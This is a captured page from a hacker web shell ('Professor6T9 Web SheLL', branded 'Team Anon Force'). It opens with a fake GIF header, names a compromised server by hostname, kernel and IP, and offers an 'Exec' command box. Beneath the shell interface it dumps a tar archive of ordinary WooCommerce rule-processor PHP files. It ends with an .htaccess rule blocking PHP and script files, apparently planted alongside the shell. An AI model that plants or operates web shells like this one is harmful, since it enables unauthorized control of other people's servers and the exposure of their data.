GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
Apache
198.177.124.167
/
home
/
portfolio
/
public_html
/
private
[ HOME ]
Exec
Submit
RuleProcessors.tar
IsWooExpressRuleProcessor.php 0000644 00000003600 14764056543 0012434 0 ustar 00 <?php /** * Rule processor that passes (or fails) when the site is on a Woo Express plan. * * @package WooCommerce\Admin\Classes */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; /** * Rule processor that passes (or fails) when the site is on a Woo Express plan. * You may optionally pass a plan name to target a specific Woo Express plan. */ class IsWooExpressRuleProcessor implements RuleProcessorInterface { /** * Passes (or fails) based on whether the site is a Woo Express plan. * * @param object $rule The rule being processed by this rule processor. * @param object $stored_state Stored state. * * @return bool The result of the operation. */ public function process( $rule, $stored_state ) { if ( ! function_exists( 'wc_calypso_bridge_is_woo_express_plan' ) ) { return false === $rule->value; } // If the plan is undefined, only check if it's a Woo Express plan. if ( ! isset( $rule->plan ) ) { return wc_calypso_bridge_is_woo_express_plan() === $rule->value; } // If a plan name is defined, only evaluate the plan if we're on the Woo Express plan. if ( wc_calypso_bridge_is_woo_express_plan() ) { $fn = 'wc_calypso_bridge_is_woo_express_' . (string) $rule->plan . '_plan'; if ( function_exists( $fn ) ) { return $fn() === $rule->value; } // If an invalid plan name is given, only evaluate the rule if we're targeting all plans other than the specified (invalid) one. return false === $rule->value; } return false; } /** * Validate the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { if ( ! isset( $rule->value ) ) { return false; } if ( isset( $rule->plan ) ) { if ( ! function_exists( 'wc_calypso_bridge_is_woo_express_plan' ) ) { return false; } } return true; } } OnboardingProfileRuleProcessor.php 0000644 00000002647 14764056543 0013437 0 ustar 00 <?php /** * Rule processor that performs a comparison operation against a value in the * onboarding profile. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; /** * Rule processor that performs a comparison operation against a value in the * onboarding profile. */ class OnboardingProfileRuleProcessor implements RuleProcessorInterface { /** * Performs a comparison operation against a value in the onboarding * profile. * * @param object $rule The rule being processed by this rule processor. * @param object $stored_state Stored state. * * @return bool The result of the operation. */ public function process( $rule, $stored_state ) { $onboarding_profile = get_option( 'woocommerce_onboarding_profile' ); if ( empty( $onboarding_profile ) || ! is_array( $onboarding_profile ) ) { return false; } if ( ! isset( $onboarding_profile[ $rule->index ] ) ) { return false; } return ComparisonOperation::compare( $onboarding_profile[ $rule->index ], $rule->value, $rule->operation ); } /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { if ( ! isset( $rule->index ) ) { return false; } if ( ! isset( $rule->value ) ) { return false; } if ( ! isset( $rule->operation ) ) { return false; } return true; } } StoredStateRuleProcessor.php 0000644 00000002350 14764056543 0012264 0 ustar 00 <?php /** * Rule processor that performs a comparison operation against a value in the * stored state object. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; /** * Rule processor that performs a comparison operation against a value in the * stored state object. */ class StoredStateRuleProcessor implements RuleProcessorInterface { /** * Performs a comparison operation against a value in the stored state object. * * @param object $rule The rule being processed by this rule processor. * @param object $stored_state Stored state. * * @return bool The result of the operation. */ public function process( $rule, $stored_state ) { if ( ! isset( $stored_state->{$rule->index} ) ) { return false; } return ComparisonOperation::compare( $stored_state->{$rule->index}, $rule->value, $rule->operation ); } /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { if ( ! isset( $rule->index ) ) { return false; } if ( ! isset( $rule->value ) ) { return false; } if ( ! isset( $rule->operation ) ) { return false; } return true; } } FailRuleProcessor.php 0000644 00000001263 14764056543 0010700 0 ustar 00 <?php /** * Rule processor that fails. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; /** * Rule processor that fails. */ class FailRuleProcessor implements RuleProcessorInterface { /** * Fails the rule. * * @param object $rule The specific rule being processed by this rule processor. * @param object $stored_state Stored state. * * @return bool Always false. */ public function process( $rule, $stored_state ) { return false; } /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { return true; } } PluginVersionRuleProcessor.php 0000644 00000004263 14764056543 0012634 0 ustar 00 <?php /** * Rule processor for sending when the provided plugin is activated and * matches the specified version. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; use Automattic\WooCommerce\Admin\PluginsProvider\PluginsProvider; /** * Rule processor for sending when the provided plugin is activated and * matches the specified version. */ class PluginVersionRuleProcessor implements RuleProcessorInterface { /** * Plugins provider instance. * * @var PluginsProviderInterface */ private $plugins_provider; /** * Constructor. * * @param PluginsProviderInterface $plugins_provider The plugins provider. */ public function __construct( $plugins_provider = null ) { $this->plugins_provider = null === $plugins_provider ? new PluginsProvider() : $plugins_provider; } /** * Process the rule. * * @param object $rule The specific rule being processed by this rule processor. * @param object $stored_state Stored state. * * @return bool Whether the rule passes or not. */ public function process( $rule, $stored_state ) { $active_plugin_slugs = $this->plugins_provider->get_active_plugin_slugs(); /** * Filters a plugin dependency’s slug before matching to the WordPress.org slug format. * * @since 9.0.0 * * @param string $plugin_name requested plugin name */ $plugin_name = apply_filters( 'wp_plugin_dependencies_slug', $rule->plugin ); if ( ! in_array( $plugin_name, $active_plugin_slugs, true ) ) { return false; } $plugin_data = $this->plugins_provider->get_plugin_data( $plugin_name ); if ( ! is_array( $plugin_data ) || ! array_key_exists( 'Version', $plugin_data ) ) { return false; } $plugin_version = $plugin_data['Version']; return version_compare( $plugin_version, $rule->version, $rule->operator ); } /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { if ( ! isset( $rule->plugin ) ) { return false; } if ( ! isset( $rule->version ) ) { return false; } if ( ! isset( $rule->operator ) ) { return false; } return true; } } WCAdminActiveForProvider.php 0000644 00000000771 14764056543 0012100 0 ustar 00 <?php /** * WCAdmin active for provider. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; use Automattic\WooCommerce\Admin\WCAdminHelper; defined( 'ABSPATH' ) || exit; /** * WCAdminActiveForProvider class */ class WCAdminActiveForProvider { /** * Get the number of seconds that the store has been active. * * @return number Number of seconds. */ public function get_wcadmin_active_for_in_seconds() { return WCAdminHelper::get_wcadmin_active_for_in_seconds(); } } RuleProcessorInterface.php 0000644 00000001223 14764056543 0011721 0 ustar 00 <?php /** * Interface for a rule processor. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; /** * Rule processor interface */ interface RuleProcessorInterface { /** * Processes a rule, returning the boolean result of the processing. * * @param object $rule The rule to process. * @param object $stored_state Stored state. * * @return bool The result of the processing. */ public function process( $rule, $stored_state ); /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ); } ComparisonOperation.php 0000644 00000004634 14764056543 0011275 0 ustar 00 <?php /** * Compare two operands using the specified operation. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; /** * Compare two operands using the specified operation. */ class ComparisonOperation { /** * Compare two operands using the specified operation. * * @param object $left_operand The left hand operand. * @param object $right_operand The right hand operand -- 'value' from the rule definition. * @param string $operation The operation used to compare the operands. */ public static function compare( $left_operand, $right_operand, $operation ) { switch ( $operation ) { case '=': return $left_operand === $right_operand; case '<': return $left_operand < $right_operand; case '<=': return $left_operand <= $right_operand; case '>': return $left_operand > $right_operand; case '>=': return $left_operand >= $right_operand; case '!=': return $left_operand !== $right_operand; case 'contains': if ( is_array( $left_operand ) && is_string( $right_operand ) ) { return in_array( $right_operand, $left_operand, true ); } if ( is_string( $right_operand ) && is_string( $left_operand ) ) { return strpos( $right_operand, $left_operand ) !== false; } break; case '!contains': if ( is_array( $left_operand ) && is_string( $right_operand ) ) { return ! in_array( $right_operand, $left_operand, true ); } if ( is_string( $right_operand ) && is_string( $left_operand ) ) { return strpos( $right_operand, $left_operand ) === false; } break; case 'in': if ( is_array( $right_operand ) && is_string( $left_operand ) ) { return in_array( $left_operand, $right_operand, true ); } if ( is_string( $left_operand ) && is_string( $right_operand ) ) { return strpos( $left_operand, $right_operand ) !== false; } break; case '!in': if ( is_array( $right_operand ) && is_string( $left_operand ) ) { return ! in_array( $left_operand, $right_operand, true ); } if ( is_string( $left_operand ) && is_string( $right_operand ) ) { return strpos( $left_operand, $right_operand ) === false; } break; case 'range': if ( ! is_array( $right_operand ) || count( $right_operand ) !== 2 ) { return false; } return $left_operand >= $right_operand[0] && $left_operand <= $right_operand[1]; } return false; } } PublishAfterTimeRuleProcessor.php 0000644 00000002736 14764056543 0013242 0 ustar 00 <?php /** * Rule processor for sending after a specified date/time. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; use Automattic\WooCommerce\Admin\DateTimeProvider\CurrentDateTimeProvider; /** * Rule processor for sending after a specified date/time. */ class PublishAfterTimeRuleProcessor implements RuleProcessorInterface { /** * The DateTime provider. * * @var DateTimeProviderInterface */ protected $date_time_provider; /** * Constructor. * * @param DateTimeProviderInterface $date_time_provider The DateTime provider. */ public function __construct( $date_time_provider = null ) { $this->date_time_provider = null === $date_time_provider ? new CurrentDateTimeProvider() : $date_time_provider; } /** * Process the rule. * * @param object $rule The specific rule being processed by this rule processor. * @param object $stored_state Stored state. * * @return bool Whether the rule passes or not. */ public function process( $rule, $stored_state ) { return $this->date_time_provider->get_now() >= new \DateTime( $rule->publish_after ); } /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { if ( ! isset( $rule->publish_after ) ) { return false; } try { new \DateTime( $rule->publish_after ); } catch ( \Throwable $e ) { return false; } return true; } } TotalPaymentsVolumeProcessor.php 0000644 00000004162 14764056543 0013172 0 ustar 00 <?php /** * Rule processor that passes when a store's payments volume exceeds a provided amount. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; use Automattic\WooCommerce\Admin\API\Reports\Revenue\Query as RevenueQuery; use Automattic\WooCommerce\Admin\API\Reports\TimeInterval; /** * Rule processor that passes when a store's payments volume exceeds a provided amount. */ class TotalPaymentsVolumeProcessor implements RuleProcessorInterface { /** * Compare against the store's total payments volume. * * @param object $rule The rule being processed by this rule processor. * @param object $stored_state Stored state. * * @return bool The result of the operation. */ public function process( $rule, $stored_state ) { $dates = TimeInterval::get_timeframe_dates( $rule->timeframe ); $reports_revenue = $this->get_reports_query( array( 'before' => $dates['end'], 'after' => $dates['start'], 'interval' => 'year', 'fields' => array( 'total_sales' ), ) ); $report_data = $reports_revenue->get_data(); if ( ! $report_data || ! isset( $report_data->totals->total_sales ) ) { return false; } $value = $report_data->totals->total_sales; return ComparisonOperation::compare( $value, $rule->value, $rule->operation ); } /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { $allowed_timeframes = array( 'last_week', 'last_month', 'last_quarter', 'last_6_months', 'last_year', ); if ( ! isset( $rule->timeframe ) || ! in_array( $rule->timeframe, $allowed_timeframes, true ) ) { return false; } if ( ! isset( $rule->value ) || ! is_numeric( $rule->value ) ) { return false; } if ( ! isset( $rule->operation ) ) { return false; } return true; } /** * Get the report query. * * @param array $args The query args. * * @return RevenueQuery The report query. */ protected function get_reports_query( $args ) { return new RevenueQuery( $args ); } } OrderCountRuleProcessor.php 0000644 00000002476 14764056543 0012120 0 ustar 00 <?php /** * Rule processor for publishing based on the number of orders. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; /** * Rule processor for publishing based on the number of orders. */ class OrderCountRuleProcessor implements RuleProcessorInterface { /** * The orders provider. * * @var OrdersProvider */ protected $orders_provider; /** * Constructor. * * @param object $orders_provider The orders provider. */ public function __construct( $orders_provider = null ) { $this->orders_provider = null === $orders_provider ? new OrdersProvider() : $orders_provider; } /** * Process the rule. * * @param object $rule The rule to process. * @param object $stored_state Stored state. * * @return bool Whether the rule passes or not. */ public function process( $rule, $stored_state ) { $count = $this->orders_provider->get_order_count(); return ComparisonOperation::compare( $count, $rule->value, $rule->operation ); } /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { if ( ! isset( $rule->value ) ) { return false; } if ( ! isset( $rule->operation ) ) { return false; } return true; } } OrdersProvider.php 0000644 00000001301 14764056543 0010237 0 ustar 00 <?php /** * Provider for order-related queries and operations. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; /** * Provider for order-related queries and operations. */ class OrdersProvider { /** * Allowed order statuses for calculating milestones. * * @var array */ protected $allowed_statuses = array( 'pending', 'processing', 'completed', ); /** * Returns the number of orders. * * @return integer The number of orders. */ public function get_order_count() { $status_counts = array_map( 'wc_orders_count', $this->allowed_statuses ); $orders_count = array_sum( $status_counts ); return $orders_count; } } OrRuleProcessor.php 0000644 00000002752 14764056543 0010411 0 ustar 00 <?php /** * Rule processor that performs an OR operation on the rule's left and right * operands. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; defined( 'ABSPATH' ) || exit; /** * Rule processor that performs an OR operation on the rule's left and right * operands. */ class OrRuleProcessor implements RuleProcessorInterface { /** * Rule evaluator to use. * * @var RuleEvaluator */ private $rule_evaluator; /** * Constructor. * * @param RuleEvaluator $rule_evaluator The rule evaluator to use. */ public function __construct( $rule_evaluator = null ) { $this->rule_evaluator = null === $rule_evaluator ? new RuleEvaluator() : $rule_evaluator; } /** * Performs an OR operation on the rule's left and right operands. * * @param object $rule The specific rule being processed by this rule processor. * @param object $stored_state Stored state. * * @return bool The result of the operation. */ public function process( $rule, $stored_state ) { foreach ( $rule->operands as $operand ) { $evaluated_operand = $this->rule_evaluator->evaluate( $operand, $stored_state ); if ( $evaluated_operand ) { return true; } } return false; } /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { if ( ! isset( $rule->operands ) || ! is_array( $rule->operands ) ) { return false; } return true; } } OptionRuleProcessor.php 0000644 00000006176 14764056543 0011305 0 ustar 00 <?php /** * Rule processor that performs a comparison operation against an option value. */ namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors; use Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers\TransformerService; defined( 'ABSPATH' ) || exit; /** * Rule processor that performs a comparison operation against an option value. */ class OptionRuleProcessor implements RuleProcessorInterface { /** * Performs a comparison operation against the option value. * * @param object $rule The specific rule being processed by this rule processor. * @param object $stored_state Stored state. * * @return bool The result of the operation. */ public function process( $rule, $stored_state ) { $is_contains = $rule->operation && strpos( $rule->operation, 'contains' ) !== false; $value_when_default_not_provided = $is_contains ? array() : false; $is_default_set = property_exists( $rule, 'default' ); $default_value = $is_default_set ? $rule->default : $value_when_default_not_provided; $option_value = $this->get_option_value( $rule, $default_value, $is_contains ); if ( isset( $rule->transformers ) && is_array( $rule->transformers ) ) { $option_value = TransformerService::apply( $option_value, $rule->transformers, $is_default_set, $default_value ); } return ComparisonOperation::compare( $option_value, $rule->value, $rule->operation ); } /** * Retrieves the option value and handles logging if necessary. * * @param object $rule The specific rule being processed. * @param mixed $default_value The default value. * @param bool $is_contains Indicates whether the operation is "contains". * * @return mixed The option value. */ private function get_option_value( $rule, $default_value, $is_contains ) { $option_value = get_option( $rule->option_name, $default_value ); $is_contains_valid = $is_contains && ( is_array( $option_value ) || ( is_string( $option_value ) && is_string( $rule->value ) ) ); if ( $is_contains && ! $is_contains_valid ) { $logger = wc_get_logger(); $logger->warning( sprintf( 'ComparisonOperation "%s" option value "%s" is not an array, defaulting to empty array.', $rule->operation, $rule->option_name ), array( 'option_value' => $option_value, 'rule' => $rule, ) ); $option_value = array(); } return $option_value; } /** * Validates the rule. * * @param object $rule The rule to validate. * * @return bool Pass/fail. */ public function validate( $rule ) { if ( ! isset( $rule->option_name ) ) { return false; } if ( ! isset( $rule->value ) ) { return false; } if ( ! isset( $rule->operation ) ) { return false; } if ( isset( $rule->transformers ) && is_array( $rule->transformers ) ) { foreach ( $rule->transformers as $transform_args ) { $transformer = TransformerService::create_transformer( $transform_args->use ); if ( ! $transformer->validate( $transform_args->arguments ) ) { return false; } } } return true; } } Transformers/ArraySearch.php 0000644 00000002444 14764056543 0012170 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers\TransformerInterface; use InvalidArgumentException; use stdClass; /** * Searches a given a given value in the array. * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ class ArraySearch implements TransformerInterface { /** * Search a given value in the array. * * @param mixed $value a value to transform. * @param stdClass|null $arguments required argument 'value'. * @param string|null $default_value default value. * * @throws InvalidArgumentException Throws when the required 'value' is missing. * * @return mixed|null */ public function transform( $value, stdClass $arguments = null, $default_value = null ) { if ( ! is_array( $value ) ) { return $default_value; } $key = array_search( $arguments->value, $value, true ); if ( false !== $key ) { return $value[ $key ]; } return null; } /** * Validate Transformer arguments. * * @param stdClass|null $arguments arguments to validate. * * @return mixed */ public function validate( stdClass $arguments = null ) { if ( ! isset( $arguments->value ) ) { return false; } return true; } } Transformers/Count.php 0000644 00000002040 14764056543 0011044 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers\TransformerInterface; use stdClass; /** * Count elements in Array or Countable object. * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ class Count implements TransformerInterface { /** * Count elements in Array or Countable object. * * @param array|Countable $value an array to count. * @param stdClass|null $arguments arguments. * @param string|null $default_value default value. * * @return number */ public function transform( $value, stdClass $arguments = null, $default_value = null ) { if ( ! is_array( $value ) && ! $value instanceof \Countable ) { return $default_value; } return count( $value ); } /** * Validate Transformer arguments. * * @param stdClass|null $arguments arguments to validate. * * @return mixed */ public function validate( stdClass $arguments = null ) { return true; } } Transformers/ArrayKeys.php 0000644 00000001767 14764056543 0011705 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers\TransformerInterface; use stdClass; /** * Search array value by one of its key. * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ class ArrayKeys implements TransformerInterface { /** * Search array value by one of its key. * * @param mixed $value a value to transform. * @param stdClass|null $arguments arguments. * @param string|null $default_value default value. * * @return mixed */ public function transform( $value, stdClass $arguments = null, $default_value = array() ) { if ( ! is_array( $value ) ) { return $default_value; } return array_keys( $value ); } /** * Validate Transformer arguments. * * @param stdClass|null $arguments arguments to validate. * * @return mixed */ public function validate( stdClass $arguments = null ) { return true; } } Transformers/ArrayFlatten.php 0000644 00000002142 14764056543 0012353 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers\TransformerInterface; use stdClass; /** * Flatten nested array. * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ class ArrayFlatten implements TransformerInterface { /** * Search a given value in the array. * * @param mixed $value a value to transform. * @param stdClass|null $arguments arguments. * @param string|null $default_value default value. * * @return mixed|null */ public function transform( $value, stdClass $arguments = null, $default_value = array() ) { if ( ! is_array( $value ) ) { return $default_value; } $return = array(); array_walk_recursive( $value, function ( $item ) use ( &$return ) { $return[] = $item; } ); return $return; } /** * Validate Transformer arguments. * * @param stdClass|null $arguments arguments to validate. * * @return mixed */ public function validate( stdClass $arguments = null ) { return true; } } Transformers/DotNotation.php 0000644 00000004111 14764056543 0012217 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers\TransformerInterface; use InvalidArgumentException; use stdClass; /** * Find an array value by dot notation. * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ class DotNotation implements TransformerInterface { /** * Find given path from the given value. * * @param mixed $value a value to transform. * @param stdClass|null $arguments required argument 'path'. * @param string|null $default_value default value. * * @throws InvalidArgumentException Throws when the required 'path' is missing. * * @return mixed */ public function transform( $value, stdclass $arguments = null, $default_value = null ) { if ( is_object( $value ) ) { // if the value is an object, convert it to an array. $value = json_decode( wp_json_encode( $value ), true ); } return $this->get( $value, $arguments->path, $default_value ); } /** * Find the given $path in $array_to_search by dot notation. * * @param array $array_to_search an array to search in. * @param string $path a path in the given array. * @param null $default_value default value to return if $path was not found. * * @return mixed|null */ public function get( $array_to_search, $path, $default_value = null ) { if ( ! is_array( $array_to_search ) ) { return $default_value; } if ( isset( $array_to_search[ $path ] ) ) { return $array_to_search[ $path ]; } foreach ( explode( '.', $path ) as $segment ) { if ( ! is_array( $array_to_search ) || ! array_key_exists( $segment, $array_to_search ) ) { return $default_value; } $array_to_search = $array_to_search[ $segment ]; } return $array_to_search; } /** * Validate Transformer arguments. * * @param stdClass|null $arguments arguments to validate. * * @return mixed */ public function validate( stdClass $arguments = null ) { if ( ! isset( $arguments->path ) ) { return false; } return true; } } Transformers/ArrayValues.php 0000644 00000001773 14764056543 0012226 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers\TransformerInterface; use stdClass; /** * Search array value by one of its key. * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ class ArrayValues implements TransformerInterface { /** * Search array value by one of its key. * * @param mixed $value a value to transform. * @param stdClass|null $arguments arguments. * @param string|null $default_value default value. * * @return mixed */ public function transform( $value, stdClass $arguments = null, $default_value = array() ) { if ( ! is_array( $value ) ) { return $default_value; } return array_values( $value ); } /** * Validate Transformer arguments. * * @param stdClass|null $arguments arguments to validate. * * @return mixed */ public function validate( stdClass $arguments = null ) { return true; } } Transformers/ArrayColumn.php 0000644 00000002530 14764056543 0012214 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers\TransformerInterface; use InvalidArgumentException; use stdClass; /** * Search array value by one of its key. * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ class ArrayColumn implements TransformerInterface { /** * Search array value by one of its key. * * @param mixed $value a value to transform. * @param stdClass|null $arguments required arguments 'key'. * @param string|null $default_value default value. * * @throws InvalidArgumentException Throws when the required argument 'key' is missing. * * @return mixed */ public function transform( $value, stdClass $arguments = null, $default_value = array() ) { if ( ! is_array( $value ) ) { return $default_value; } return array_column( $value, $arguments->key ); } /** * Validate Transformer arguments. * * @param stdClass|null $arguments arguments to validate. * * @return mixed */ public function validate( stdClass $arguments = null ) { if ( ! isset( $arguments->key ) ) { return false; } if ( null !== $arguments->key && ! is_string( $arguments->key ) && ! is_int( $arguments->key ) ) { return false; } return true; } } Transformers/TransformerService.php 0000644 00000004726 14764056543 0013614 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use InvalidArgumentException; use stdClass; /** * A simple service class for the Transformer classes. * * Class TransformerService * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ class TransformerService { /** * Create a transformer object by name. * * @param string $name name of the transformer. * * @return TransformerInterface|null */ public static function create_transformer( $name ) { $camel_cased = str_replace( ' ', '', ucwords( str_replace( '_', ' ', $name ) ) ); $classname = __NAMESPACE__ . '\\' . $camel_cased; if ( ! class_exists( $classname ) ) { return null; } return new $classname(); } /** * Apply transformers to the given value. * * @param mixed $target_value a value to transform. * @param array $transformer_configs transform configuration. * @param bool $is_default_set flag on is default value set. * @param string $default_value default value. * * @throws InvalidArgumentException Throws when one of the required arguments is missing. * @return mixed|null */ public static function apply( $target_value, array $transformer_configs, $is_default_set, $default_value ) { foreach ( $transformer_configs as $transformer_config ) { if ( ! isset( $transformer_config->use ) ) { throw new InvalidArgumentException( 'Missing required config value: use' ); } if ( ! isset( $transformer_config->arguments ) ) { $transformer_config->arguments = null; } $transformer = self::create_transformer( $transformer_config->use ); if ( null === $transformer ) { throw new InvalidArgumentException( "Unable to find a transformer by name: {$transformer_config->use}" ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped } $target_value = $transformer->transform( $target_value, $transformer_config->arguments, $is_default_set ? $default_value : null ); // Break early when there's no more value to traverse. if ( null === $target_value ) { break; } } if ( $is_default_set ) { // Nulls always return the default value. if ( null === $target_value ) { return $default_value; } // When type of the default value is different from the target value, return the default value // to ensure type safety. if ( gettype( $default_value ) !== gettype( $target_value ) ) { return $default_value; } } return $target_value; } } Transformers/TransformerInterface.php 0000644 00000001477 14764056543 0014114 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use stdClass; /** * An interface to define a transformer. * * Interface TransformerInterface * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ interface TransformerInterface { /** * Transform given value to a different value. * * @param mixed $value a value to transform. * @param stdClass|null $arguments arguments. * @param string|null $default_value default value. * * @return mixed|null */ public function transform( $value, stdClass $arguments = null, $default_value = null ); /** * Validate Transformer arguments. * * @param stdClass|null $arguments arguments to validate. * * @return mixed */ public function validate( stdClass $arguments = null ); } Transformers/PrepareUrl.php 0000644 00000002445 14764056543 0012046 0 ustar 00 <?php namespace Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers; use Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers\TransformerInterface; use stdClass; /** * Prepare site URL for comparison. * * @package Automattic\WooCommerce\Admin\RemoteSpecs\RuleProcessors\Transformers */ class PrepareUrl implements TransformerInterface { /** * Prepares the site URL by removing the protocol and trailing slash. * * @param string $value a value to transform. * @param stdClass|null $arguments arguments. * @param string|null $default_value default value. * * @return mixed|null */ public function transform( $value, stdClass $arguments = null, $default_value = null ) { if ( ! is_string( $value ) ) { return $default_value; } $url_parts = wp_parse_url( rtrim( $value, '/' ) ); if ( ! $url_parts ) { return $default_value; } if ( ! isset( $url_parts['host'] ) ) { return $default_value; } if ( isset( $url_parts['path'] ) ) { return $url_parts['host'] . $url_parts['path']; } return $url_parts['host']; } /** * Validate Transformer arguments. * * @param stdClass|null $arguments arguments to validate. * * @return mixed */ public function validate( stdClass $arguments = null ) { return true; } } Transformers/.htaccess 0000444 00000000177 14764056543 0011050 0 ustar 00 <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>